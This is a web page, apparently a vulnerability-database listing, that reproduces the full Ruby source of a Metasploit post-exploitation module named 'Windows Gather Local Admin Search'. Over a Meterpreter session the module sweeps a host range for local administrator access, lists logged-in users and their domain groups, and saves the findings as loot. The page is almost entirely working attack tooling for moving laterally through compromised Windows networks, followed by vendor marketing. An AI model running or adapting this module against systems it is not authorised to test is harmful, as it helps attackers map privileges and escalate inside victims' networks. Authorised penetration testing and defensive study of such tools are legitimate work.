, Thomas McCarthy "smilingraccoon" , Royce Davis "r3dy" ">
Lucene search
K

Windows Gather Local Admin Search

This module identifies systems in a given range that a supplied domain user has administrative access to and can enumerate logged in users and group membership using Windows API

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local Admin Search',
        'Description' => %q{
          This module will identify systems in a given range that the
          supplied domain user (should migrate into a user pid) has administrative
          access to by using the Windows API OpenSCManagerA to establishing a handle
          to the remote host. Additionally it can enumerate logged in users and group
          membership via Windows API NetWkstaUserEnum and NetUserGetGroups.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
          'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_railgun_memread
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('ENUM_USERS', [ true, 'Enumerates logged on users.', true]),
        OptBool.new('ENUM_GROUPS', [ false, 'Enumerates groups for identified users.', true]),
        OptString.new('DOMAIN', [false, 'Domain to enumerate user\'s groups for']),
        OptString.new('DOMAIN_CONTROLLER', [false, 'Domain Controller to query groups'])
      ]
    )
  end

  def setup
    super

    # This datastore option can be modified during runtime.
    # Saving it here so the modified value remains with this module.
    @domain_controller = datastore['DOMAIN_CONTROLLER']

    if is_system?
      # running as SYSTEM and will not pass any network credentials
      print_error 'Running as SYSTEM, module should be run with USER level rights'
      return
    else
      @adv = client.railgun.advapi32

      # Get domain and domain controller if options left blank
      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
        user = client.sys.config.getuid
        datastore['DOMAIN'] = user.split('\\')[0]
      end

      if @domain_controller.nil? && datastore['ENUM_GROUPS']
        @dc_error = false

        # Uses DC which applied policy since it would be a DC this device normally talks to
        cmd = 'gpresult /SCOPE COMPUTER'
        # If Vista/2008 or later add /R
        version = get_version_info
        if version.build_number >= Msf::WindowsVersion::Vista_SP0
          cmd << ' /R'
        end
        res = cmd_exec('cmd.exe', "/c #{cmd}")

        # Check if RSOP data exists, if not disable group check
        if res =~ /does not have RSOP data./
          @dc_error = true
          print_error('User never logged into device, will not enumerate users and groups. Manually specify DC.')
        else
          dc_applied = /Group Policy was applied from:\s*(.*)\s*/.match(res)
          if dc_applied
            @domain_controller = dc_applied[1].strip
          else
            @dc_error = true
            print_error('Could not read RSOP data, will not enumerate users and groups. Manually specify DC.')
          end
        end
      end
    end
  end

  # main control method
  def run_host(ip)
    connect(ip)
  end

  # http://msdn.microsoft.com/en-us/library/windows/desktop/aa370669(v=vs.85).aspx
  # enumerate logged in users
  def enum_users(host)
    userlist = Array.new

    begin
      # Connect to host and enumerate logged in users
      winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil)
    rescue ::Exception
      print_error("Issue enumerating users on #{host}")
      return userlist
    end

    return userlist if winsessions.nil?

    count = winsessions['totalentries'] * 2
    startmem = winsessions['bufptr']

    base = 0
    userlist = Array.new
    begin
      mem = client.railgun.memread(startmem, 8 * count)
    rescue ::Exception => e
      print_error("Issue reading memory for #{host}")
      vprint_error(e.to_s)
      return userlist
    end
    # For each entry returned, get domain and name of logged in user
    begin
      count.times do |_i|
        temp = {}
        userptr = mem[(base + 0), 4].unpack('V*')[0]
        temp[:user] = client.railgun.memread(userptr, 255).split("\0\0")[0].split("\0").join
        nameptr = mem[(base + 4), 4].unpack('V*')[0]
        temp[:domain] = client.railgun.memread(nameptr, 255).split("\0\0")[0].split("\0").join

        # Ignore if empty or machine account
        unless temp[:user].empty? || (temp[:user][-1, 1] == '$')

          # Check if enumerated user's domain matches supplied domain, if there was
          # an error, or if option disabled
          data = ''
          if (datastore['DOMAIN'].upcase == temp[:domain].upcase) && !@dc_error && datastore['ENUM_GROUPS']
            data << " - Groups: #{enum_groups(temp[:user]).chomp(', ')}"
          end
          line = "\tLogged in user:\t#{temp[:domain]}\\#{temp[:user]}#{data}\n"

          # Write user and groups to notes database
          db_note(host, "#{temp[:domain]}\\#{temp[:user]}#{data}", 'localadmin.user.loggedin')
          userlist << line unless userlist.include? line

        end

        base += 8
      end
    rescue ::Exception => e
      print_error("Issue enumerating users on #{host}")
      vprint_error(e.backtrace)
    end
    return userlist
  end

  # http://msdn.microsoft.com/en-us/library/windows/desktop/aa370653(v=vs.85).aspx
  # Enumerate groups for identified users
  def enum_groups(user)
    grouplist = ''

    dc = "\\\\#{@domain_controller}"
    begin
      # Connect to DC and enumerate groups of user
      usergroups = client.railgun.netapi32.NetUserGetGroups(dc, user, 0, 4, -1, 4, 4)
    rescue ::Exception => e
      print_error('Issue connecting to DC, try manually setting domain and DC')
      vprint_error(e.to_s)
      return grouplist
    end

    count = usergroups['totalentries']
    startmem = usergroups['bufptr']
    base = 0

    begin
      mem = client.railgun.memread(startmem, 8 * count)
    rescue ::Exception => e
      print_error("Issue reading memory for groups for user #{user}")
      vprint_error(e.to_s)
      return grouplist
    end

    begin
      # For each entry returned, get group
      count.to_i.times do |i|
        temp = {}
        groupptr = mem[(base + 0), 4].unpack('V*')[0]
        temp[:group] = client.railgun.memread(groupptr, 255).split("\0\0")[0].split("\0").join

        # Add group to string to be returned
        grouplist << "#{temp[:group]}, "
        if (i % 5) == 2
          grouplist << "\n\t-   "
        end
        base += 4
      end
    rescue ::Exception => e
      print_error("Issue enumerating groups for user #{user}, check domain")
      vprint_error(e.backtrace)
      return grouplist
    end

    return grouplist.chomp("\n\t-   ")
  end

  # http://msdn.microsoft.com/en-us/library/windows/desktop/ms684323(v=vs.85).aspx
  # method to connect to remote host using windows api
  def connect(host)
    if @adv.nil?
      return
    end

    user = client.sys.config.getuid
    # use railgun and OpenSCManagerA api to connect to remote host
    manag = @adv.OpenSCManagerA("\\\\#{host}", nil, 0xF003F) # SC_MANAGER_ALL_ACCESS

    if (manag['return'] != 0) # we have admin rights
      result = "#{host.ljust(16)} #{user} - Local admin found\n"
      # Run enumerate users on all hosts if option was set

      if datastore['ENUM_USERS']
        enum_users(host).each do |i|
          result << i
        end
      end

      # close the handle if connection was made
      @adv.CloseServiceHandle(manag['return'])
      # Append data to loot table within database
      print_good(result.chomp("\n")) unless result.nil?
      db_loot(host, user, 'localadmin.user')
    else
      # we dont have admin rights
      print_error("#{host.ljust(16)} #{user} - No Local Admin rights")
    end
  end

  # Write to notes database
  def db_note(host, data, type)
    report_note(
      type: type,
      data: data,
      host: host,
      update: :unique_data
    )
  end

  # Write to loot database
  def db_loot(host, user, type)
    p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user)
    vprint_good("User data stored in: #{p}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 May 2023 04:36Current
6.9Medium risk
Vulners AI Score6.9
59